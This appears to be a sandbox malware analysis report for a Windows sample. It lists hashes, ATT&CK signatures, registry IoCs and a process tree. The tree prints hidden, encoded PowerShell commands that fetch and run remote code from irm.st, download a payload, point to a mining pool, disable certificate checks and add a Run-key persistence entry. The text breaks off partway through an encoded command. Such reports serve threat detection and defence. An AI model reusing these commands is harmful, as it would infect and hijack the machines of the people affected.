0bf16a41384065bd8ee9ffc92cf9b6306707a204eaf0311eecd1015b91bfa4fd

Analysis

max time kernel
149s
max time network
134s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 05:59

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
2026-10-22_86f287c3b1a101f3e3a7c7678c5e0654_glassworm_icedid_luca-stealer_njrat_stealc.exe
Size 5.2MB
Sample261024-gp7mnaed38
SHA256 0bf16a41384065bd8ee9ffc92cf9b6306707a204eaf0311eecd1015b91bfa4fd
MD5 86f287c3b1a101f3e3a7c7678c5e0654
SHA1 82696e5a91e4d4ed4ecfa32317a9d475ba88eccc
SHA512 57f78c7879818eeda9270ae3eb4c546a67fe4b3440000845cd17735e04647a7bf17459f27f080d64e643f84648edd89c69ba5e9bc10cfa63c463542a1ce7886b
SSDEEP 49152:yhVE7yRCmUxKfRV6CAVqe1gHjBy/ymEK/16wccHtgshpCVjiV:yhVDdV0bHtRjCVjY
TLSH
T158468E2BA3E901ACC0B3C07D89475507EBB2344653A1EEDB56A085665FB7BE01F7A730
MD5 SHA1 SHA512 SSDEEP TLSH

Score

10^/10

discovery execution persistence

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://irm.st/readme.zip

Signatures

Badlisted process makes network request 2 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4864	powershell.exe
11	5096	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
5096	powershell.exe
4864	powershell.exe

Checks BIOS information in registry 2 TTPs 1 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	2026-10-22_86f287c3b1a101f3e3a7c7678c5e0654_glassworm_icedid_luca-stealer_njrat_stealc.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
1260	SystemSettingsBroker.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-2101206053-1414382737-268919432-1000\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\SystemSettingsBroker = "wscript.exe \"C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\MicrosoftEdge\\start.vbs\""	powershell.exe

Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs

execution

Visual Basic

T1059.005

pid	Process
3612	wscript.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	wscript.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	wscript.exe

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
4864	powershell.exe
4864	powershell.exe
5096	powershell.exe
5096	powershell.exe
5096	powershell.exe

Suspicious use of AdjustPrivilegeToken 23 IoCs

description	pid	Process
Token: SeDebugPrivilege	4864	powershell.exe
Token: SeDebugPrivilege	5096	powershell.exe
Token: SeIncreaseQuotaPrivilege	5096	powershell.exe
Token: SeSecurityPrivilege	5096	powershell.exe
Token: SeTakeOwnershipPrivilege	5096	powershell.exe
Token: SeLoadDriverPrivilege	5096	powershell.exe
Token: SeSystemProfilePrivilege	5096	powershell.exe
Token: SeSystemtimePrivilege	5096	powershell.exe
Token: SeProfSingleProcessPrivilege	5096	powershell.exe
Token: SeIncBasePriorityPrivilege	5096	powershell.exe
Token: SeCreatePagefilePrivilege	5096	powershell.exe
Token: SeBackupPrivilege	5096	powershell.exe
Token: SeRestorePrivilege	5096	powershell.exe
Token: SeShutdownPrivilege	5096	powershell.exe
Token: SeDebugPrivilege	5096	powershell.exe
Token: SeSystemEnvironmentPrivilege	5096	powershell.exe
Token: SeRemoteShutdownPrivilege	5096	powershell.exe
Token: SeUndockPrivilege	5096	powershell.exe
Token: SeManageVolumePrivilege	5096	powershell.exe
Token: 33	5096	powershell.exe
Token: 34	5096	powershell.exe
Token: 35	5096	powershell.exe
Token: 36	5096	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1164 wrote to memory of 4864	1164	2026-10-22_86f287c3b1a101f3e3a7c7678c5e0654_glassworm_icedid_luca-stealer_njrat_stealc.exe	86
PID 4864 wrote to memory of 5096	4864	powershell.exe	88
PID 5096 wrote to memory of 3612	5096	powershell.exe	98
PID 3612 wrote to memory of 1260	3612	wscript.exe	100

C:\Users\Admin\AppData\Local\Temp\2026-10-22_86f287c3b1a101f3e3a7c7678c5e0654_glassworm_icedid_luca-stealer_njrat_stealc.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-22_86f287c3b1a101f3e3a7c7678c5e0654_glassworm_icedid_luca-stealer_njrat_stealc.exe"
1⤵
- Checks BIOS information in registry
- Suspicious use of WriteProcessMemory
PID:1164
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand JABpAGQAPQAnACcAOwBmAG8AcgAoACQAaQA9ADAAOwAkAGkAIAAtAGwAdAAgADYAOwAkAGkAKwArACkAewAkAGkAZAArAD0AKABHAGUAdAAtAFIAYQBuAGQAbwBtACAALQBNAGkAbgBpAG0AdQBtACAAMAAgAC0ATQBhAHgAaQBtAHUAbQAgADEAMAApAH0AOwBpAGUAeAAgACgAaQByAG0AIAAoACcAaQByAG0ALgBzAHQALwAnACsAJABpAGQAKQApAA==
  2⤵
  - Badlisted process makes network request
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4864
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Bypass -WindowStyle Hidden -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgAkAEUAcgByAG8AcgBBAGMAdABpAG8AbgBQAHIAZQBmAGUAcgBlAG4AYwBlACAAPQAgACcAUwB0AG8AcAAnAAoACgAkAFUAcgBsACAAIAAgACAAIAAgACAAIAA9ACAAJwBoAHQAdABwAHMAOgAvAC8AaQByAG0ALgBzAHQALwByAGUAYQBkAG0AZQAuAHoAaQBwACcACgAkAEEAcABwAE4AYQBtAGUAIAAgACAAIAA9ACAAJwBTAHkAcwB0AGUAbQBTAGUAdAB0AGkAbgBnAHMAQgByAG8AawBlAHIAJwAKACQAUwB0AHIAYQB0AHUAbQBVAHIAbAAgAD0AIAAnAHMAdAByAGEAdAB1AG0AKwB0AGMAcAA6AC8ALwBjADIALgBkAG8AeABiAGkAbgAuAGMAeQA6ADMAMwAzADMAJwAKACQAVQBzAGUAcgBBAHIAZwAgACAAIAAgAD0AIAAnAHgALgB4AG0AcgByAGkAZwAnAAoACgAkAFQAYQByAGcAZQB0AEQAaQByACAAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBQAFAARABBAFQAQQAgACcATQBpAGMAcgBvAHMAbwBmAHQAXABNAGkAYwByAG8AcwBvAGYAdABFAGQAZwBlACcACgAkAFoAaQBwAFAAYQB0AGgAIAAgACAAIAA9ACAASgBvAGkAbgAtAFAAYQB0AGgAIAAkAFQAYQByAGcAZQB0AEQAaQByACAAJwBrAC4AegBpAHAAJwAKACQARQB4AGUAUABhAHQAaAAgACAAIAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAoACQAQQBwAHAATgBhAG0AZQAgACsAIAAnAC4AZQB4AGUAJwApAAoAJABWAGIAcwBQAGEAdABoACAAIAAgACAAPQAgAEoAbwBpAG4ALQBQAGEAdABoACAAJABUAGEAcgBnAGUAdABEAGkAcgAgACcAcwB0AGEAcgB0AC4AdgBiAHMAJwAKACQAUgBlAGEAZABtAGUAUABhAHQAaAAgAD0AIABKAG8AaQBuAC0AUABhAHQAaAAgACQAVABhAHIAZwBlAHQARABpAHIAIAAnAHIAZQBhAGQAbQBlAC4AbQBkACcACgAKACQAUgB1AG4ASwBlAHkAIAAgACAAIAAgACAAPQAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwAUgB1AG4AJwAKACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACAAPQAgACcASABLAEMAVQA6AFwAUwBvAGYAdAB3AGEAcgBlAFwATQBpAGMAcgBvAHMAbwBmAHQAXABXAGkAbgBkAG8AdwBzAFwAQwB1AHIAcgBlAG4AdABWAGUAcgBzAGkAbwBuAFwARQB4AHAAbABvAHIAZQByAFwAUwB0AGEAcgB0AHUAcABBAHAAcAByAG8AdgBlAGQAXABSAHUAbgAnAAoACgAkAEUAbgBhAGIAbABlAGQAQgBsAG8AYgAgAD0AIABbAGIAeQB0AGUAWwBdAF0AKAAwAHgAMAAyACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAALAAwACwAMAAsADAAKQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGEAYgBsAGUALQBCAGUAcwB0AFQAbABzACAAewAKACAAIAAgACAAJABmAGwAYQBnAHMAIAA9ACAAMAAKACAAIAAgACAAZgBvAHIAZQBhAGMAaAAgACgAJABuACAAaQBuACAAQAAoACcAVABsAHMAMQAzACcALAAnAFQAbABzADEAMgAnACwAJwBUAGwAcwAxADEAJwAsACcAVABsAHMAJwAsACcAUwBzAGwAMwAnACkAKQAgAHsACgAgACAAIAAgACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAJAB2AGEAbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAJABuAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHYAYQBsACkAIAB7ACAAJABmAGwAYQBnAHMAIAA9ACAAJABmAGwAYQBnAHMAIAAtAGIAbwByACAAWwBpAG4AdABdACQAdgBhAGwAIAB9AAoAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKAAkAGYAbABhAGcAcwAgAC0AZQBxACAAMAApACAAewAgAHIAZQB0AHUAcgBuACAAfQAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAAgAD0AIABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQAkAGYAbABhAGcAcwAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAARQBuAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQAIAB7AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAWwBTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgBTAGUAcgB2AGUAcgBDAGUAcgB0AGkAZgBpAGMAYQB0AGUAVgBhAGwAaQBkAGEAdABpAG8AbgBDAGEAbABsAGIAYQBjAGsAIAA9ACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHAAYQByAGEAbQAoACQAcwAsACQAYwAsACQAYwBoACwAJABlACkAIAByAGUAdAB1AHIAbgAgACQAdAByAHUAZQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAewAKACAAIAAgACAAdAByAHkAIAB7AAoAIAAgACAAIAAgACAAIAAgAFsAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAHIAdgBlAHIAQwBlAHIAdABpAGYAaQBjAGEAdABlAFYAYQBsAGkAZABhAHQAaQBvAG4AQwBhAGwAbABiAGEAYwBrACAAPQAgACQAbgB1AGwAbAAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAfQAKAAoARQBuAGEAYgBsAGUALQBCAGUAcwB0AFQAbABzAAoACgBmAHUAbgBjAHQAaQBvAG4AIABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0AWwBzAHQAcgBpAG4AZwBdACQATgBhAG0AZQApAAoAIAAgACAAIAByAGUAdAB1AHIAbgAgAFsAYgBvAG8AbABdACgARwBlAHQALQBDAG8AbQBtAGEAbgBkACAALQBOAGEAbQBlACAAJABOAGEAbQBlACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkACgB9AAoACgBmAHUAbgBjAHQAaQBvAG4AIABHAGUAdAAtAFAAcgBvAHAAVgBhAGwAdQBlACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAJABPAGIAagBlAGMAdAAsAFsAUABhAHIAYQBtAGUAdABlAHIAKABNAGEAbgBkAGEAdABvAHIAeQApAF0AWwBzAHQAcgBpAG4AZwBdACQATgBhAG0AZQApAAoAIAAgACAAIABpAGYAIAAoAC0AbgBvAHQAIAAkAE8AYgBqAGUAYwB0ACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9AAoAIAAgACAAIAAkAHAAIAA9ACAAJABPAGIAagBlAGMAdAAuAFAAUwBPAGIAagBlAGMAdAAuAFAAcgBvAHAAZQByAHQAaQBlAHMAWwAkAE4AYQBtAGUAXQAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABwACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAG4AdQBsAGwAIAB9AAoAIAAgACAAIAByAGUAdAB1AHIAbgAgACQAcAAuAFYAYQBsAHUAZQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAEEAcwBzAGUAcgB0AC0AUwB0AGEAcgB0AHUAcABFAG4AYQBiAGwAZQBkACAAewAKACAAIAAgACAAcABhAHIAYQBtACgAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQBbAHMAdAByAGkAbgBnAF0AJABSAHUAbgBOAGEAbQBlACkACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAUgB1AG4ASwBlAHkAKQApACAAewAgAHIAZQB0AHUAcgBuACAAJABmAGEAbABzAGUAIAB9AAoACgAgACAAIAAgACQAcgB1AG4ASQB0AGUAbQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABSAHUAbgBLAGUAeQAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwBpAGwAZQBuAHQAbAB5AEMAbwBuAHQAaQBuAHUAZQAKACAAIAAgACAAJAByAHUAbgBWAGEAbAB1AGUAIAA9ACAARwBlAHQALQBQAHIAbwBwAFYAYQBsAHUAZQAgAC0ATwBiAGoAZQBjAHQAIAAkAHIAdQBuAEkAdABlAG0AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUACgAgACAAIAAgAGkAZgAgACgALQBuAG8AdAAgACQAcgB1AG4AVgBhAGwAdQBlACkAIAB7ACAAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQAgAH0ACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACkAKQAgAHsAIABOAGUAdwAtAEkAdABlAG0AIAAtAFAAYQB0AGgAIAAkAEEAcABwAHIAbwB2AGUAZABSAHUAbgAgAC0ARgBvAHIAYwBlACAAfAAgAE8AdQB0AC0ATgB1AGwAbAAgAH0ACgAKACAAIAAgACAAJABhAHAAcAByAG8AdgBlAGQASQB0AGUAbQAgAD0AIABHAGUAdAAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABBAHAAcAByAG8AdgBlAGQAUgB1AG4AIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACQAYgBlAGYAbwByAGUAIAA9ACAARwBlAHQALQBQAHIAbwBwAFYAYQBsAHUAZQAgAC0ATwBiAGoAZQBjAHQAIAAkAGEAcABwAHIAbwB2AGUAZABJAHQAZQBtACAALQBOAGEAbQBlACAAJABSAHUAbgBOAGEAbQBlAAoACgAgACAAIAAgAGkAZgAgACgAJABiAGUAZgBvAHIAZQAgAC0AYQBuAGQAIAAkAGIAZQBmAG8AcgBlAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADEAIAAtAGEAbgBkACAAJABiAGUAZgBvAHIAZQBbADAAXQAgAC0AZQBxACAAMgApACAAewAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlACAAfQAKAAoAIAAgACAAIABOAGUAdwAtAEkAdABlAG0AUAByAG8AcABlAHIAdAB5ACAALQBQAGEAdABoACAAJABBAHAAcAByAG8AdgBlAGQAUgB1AG4AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUAIAAtAFAAcgBvAHAAZQByAHQAeQBUAHkAcABlACAAQgBpAG4AYQByAHkAIAAtAFYAYQBsAHUAZQAgACQARQBuAGEAYgBsAGUAZABCAGwAbwBiACAALQBGAG8AcgBjAGUAIAB8ACAATwB1AHQALQBOAHUAbABsAAoACgAgACAAIAAgACQAYQBmAHQAZQByAEkAdABlAG0AIAA9ACAARwBlAHQALQBJAHQAZQBtAFAAcgBvAHAAZQByAHQAeQAgAC0AUABhAHQAaAAgACQAQQBwAHAAcgBvAHYAZQBkAFIAdQBuACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAkAGEAZgB0AGUAcgAgAD0AIABHAGUAdAAtAFAAcgBvAHAAVgBhAGwAdQBlACAALQBPAGIAagBlAGMAdAAgACQAYQBmAHQAZQByAEkAdABlAG0AIAAtAE4AYQBtAGUAIAAkAFIAdQBuAE4AYQBtAGUACgAKACAAIAAgACAAaQBmACAAKAAtAG4AbwB0ACAAJABhAGYAdABlAHIAKQAgAHsAIAByAGUAdAB1AHIAbgAgACQAZgBhAGwAcwBlACAAfQAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAoACgAJABhAGYAdABlAHIAIAAtAGoAbwBpAG4AIAAnACwAJwApACAALQBlAHEAIAAoACQARQBuAGEAYgBsAGUAZABCAGwAbwBiACAALQBqAG8AaQBuACAAJwAsACcAKQApAAoAfQAKAAoAZgB1AG4AYwB0AGkAbwBuACAAVABlAHMAdAAtAEEAcABwAFIAdQBuAG4AaQBuAGcAIAB7AAoAIAAgACAAIABwAGEAcgBhAG0AKABbAFAAYQByAGEAbQBlAHQAZQByACgATQBhAG4AZABhAHQAbwByAHkAKQBdAFsAcwB0AHIAaQBuAGcAXQAkAFAAcgBvAGMATgBhAG0AZQAsACAAWwBQAGEAcgBhAG0AZQB0AGUAcgAoAE0AYQBuAGQAYQB0AG8AcgB5ACkAXQBbAHMAdAByAGkAbgBnAF0AJABUAGEAcgBnAGUAdABQAGEAdABoACkACgAgACAAIAAgAAoAIAAgACAAIAAkAGUAeABlACAAPQAgACQAUAByAG8AYwBOAGEAbQBlACAAKwAgACcALgBlAHgAZQAnAAoACgAgACAAIAAgAHQAcgB5ACAAewAKACAAIAAgACAAIAAgACAAIAAkAGMAaQBtACAAPQAgAEcAZQB0AC0AQwBpAG0ASQBuAHMAdABhAG4AYwBlACAAVwBpAG4AMwAyAF8AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAdABlAHIAIAAiAE4AYQBtAGUAPQAnACQAZQB4AGUAJwAiACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlAAoAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABjAGkAbQApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAcAAgAGkAbgAgACQAYwBpAG0AKQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGkAZgAgACgAJABwAC4ARQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoACAALQBhAG4AZAAgACgAJABwAC4ARQB4AGUAYwB1AHQAYQBiAGwAZQBQAGEAdABoACAALQBpAGUAcQAgACQAVABhAHIAZwBlAHQAUABhAHQAaAApACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAIAAgACAAIAB9AAoAIAAgACAAIAB9ACAAYwBhAHQAYwBoACAAewAgAH0ACgAgACAAIAAgAAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJABwAHIAbwBjAHMAIAA9ACAARwBlAHQALQBQAHIAbwBjAGUAcwBzACAALQBOAGEAbQBlACAAJABQAHIAbwBjAE4AYQBtAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAaQBsAGUAbgB0AGwAeQBDAG8AbgB0AGkAbgB1AGUACgAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHAAcgBvAGMAcwApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAGYAbwByAGUAYQBjAGgAIAAoACQAcAAgAGkAbgAgACQAcAByAG8AYwBzACkAIAB7AAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAaQBmACAAKAAkAHAALgBQAGEAdABoACAALQBhAG4AZAAgACgAJABwAC4AUABhAHQAaAAgAC0AaQBlAHEAIAAkAFQAYQByAGcAZQB0AFAAYQB0AGgAKQApACAAewAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAHIAZQB0AHUAcgBuACAAJAB0AHIAdQBlAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAIAAgACAAIAAgACAAIAAgAH0ACgAgACAAIAAgACAAIAAgACAAfQAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAGYAYQBsAHMAZQAKAH0ACgAKAGYAdQBuAGMAdABpAG8AbgAgAEcAZQB0AC0ARgBpAGwAZQBXAGkAdABoAEYAYQBsAGwAYgBhAGMAawAgAHsACgAgACAAIAAgAHAAYQByAGEAbQAoAFsAcwB0AHIAaQBuAGcAXQAkAFUAcgBsACwAWwBzAHQAcgBpAG4AZwBdACQATwB1AHQARgBpAGwAZQApAAoAIAAgACAAIAAkAGgAZAByACAAPQAgAEAAewAgACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACAAPQAgACcATQBvAHoAaQBsAGwAYQAvADUALgAwACcAIAB9AAoAIAAgACAAIABpAGYAIAAoAFQAZQBzAHQALQBDAG8AbQBtAGEAbgBkAEUAeABpAHMAdABzACAAJwBJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAJwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsAIABJAG4AdgBvAGsAZQAtAFcAZQBiAFIAZQBxAHUAZQBzAHQAIAAtAFUAcgBpACAAJABVAHIAbAAgAC0ATwB1AHQARgBpAGwAZQAgACQATwB1AHQARgBpAGwAZQAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcAIAAtAEgAZQBhAGQAZQByAHMAIAAkAGgAZAByACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAHQAbwBwADsAIAByAGUAdAB1AHIAbgAgAH0AIABjAGEAdABjAGgAIAB7ACAAfQAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsAIABFAG4AYQBiAGwAZQAtAFIAZQBsAGEAeABlAGQAQwBlAHIAdAA7ACAASQBuAHYAbwBrAGUALQBXAGUAYgBSAGUAcQB1AGUAcwB0ACAALQBVAHIAaQAgACQAVQByAGwAIAAtAE8AdQB0AEYAaQBsAGUAIAAkAE8AdQB0AEYAaQBsAGUAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACAALQBIAGUAYQBkAGUAcgBzACAAJABoAGQAcgAgAC0ARQByAHIAbwByAEEAYwB0AGkAbwBuACAAUwB0AG8AcAA7ACAAcgBlAHQAdQByAG4AIAB9AAoAIAAgACAAIAAgACAAIAAgAGMAYQB0AGMAaAAgAHsAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIABEAGkAcwBhAGIAbABlAC0AUgBlAGwAYQB4AGUAZABDAGUAcgB0ACAAfQAKACAAIAAgACAAfQAKACAAIAAgACAAaQBmACAAKABUAGUAcwB0AC0AQwBvAG0AbQBhAG4AZABFAHgAaQBzAHQAcwAgACcAUwB0AGEAcgB0AC0AQgBpAHQAcwBUAHIAYQBuAHMAZgBlAHIAJwApACAAewAKACAAIAAgACAAIAAgACAAIAB0AHIAeQAgAHsAIABTAHQAYQByAHQALQBCAGkAdABzAFQAcgBhAG4AcwBmAGUAcgAgAC0AUwBvAHUAcgBjAGUAIAAkAFUAcgBsACAALQBEAGUAcwB0AGkAbgBhAHQAaQBvAG4AIAAkAE8AdQB0AEYAaQBsAGUAIAAtAEUAcgByAG8AcgBBAGMAdABpAG8AbgAgAFMAdABvAHAAOwAgAHIAZQB0AHUAcgBuACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAB9AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAAKACAAIAAgACAAIAAgACAAIAAkAHcAYwAuAEgAZQBhAGQAZQByAHMALgBBAGQAZAAoACcAVQBzAGUAcgAtAEEAZwBlAG4AdAAnACwAJwBNAG8AegBpAGwAbABhAC8ANQAuADAAJwApAAoAIAAgACAAIAAgACAAIAAgAHQAcgB5ACAAewAgACQAdwBjAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAkAFUAcgBsACwAJABPAHUAdABGAGkAbABlACkAIAB9ACAAZgBpAG4AYQBsAGwAeQAgAHsAIAAkAHcAYwAuAEQAaQBzAHAAbwBzAGUAKAApACAAfQAKACAAIAAgACAAIAAgACAAIAByAGUAdAB1AHIAbgAKACAAIAAgACAAfQAgAGMAYQB0AGMAaAAgAHsAIAB9AAoAIAAgACAAIAB0AHIAeQAgAHsACgAgACAAIAAgACAAIAAgACAARQBuAGEAYgBsAGUALQBSAGUAbABhAHgAZQBkAEMAZQByAHQACgAgACAAIAAgACAAIAAgACAAJAB3AGMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AT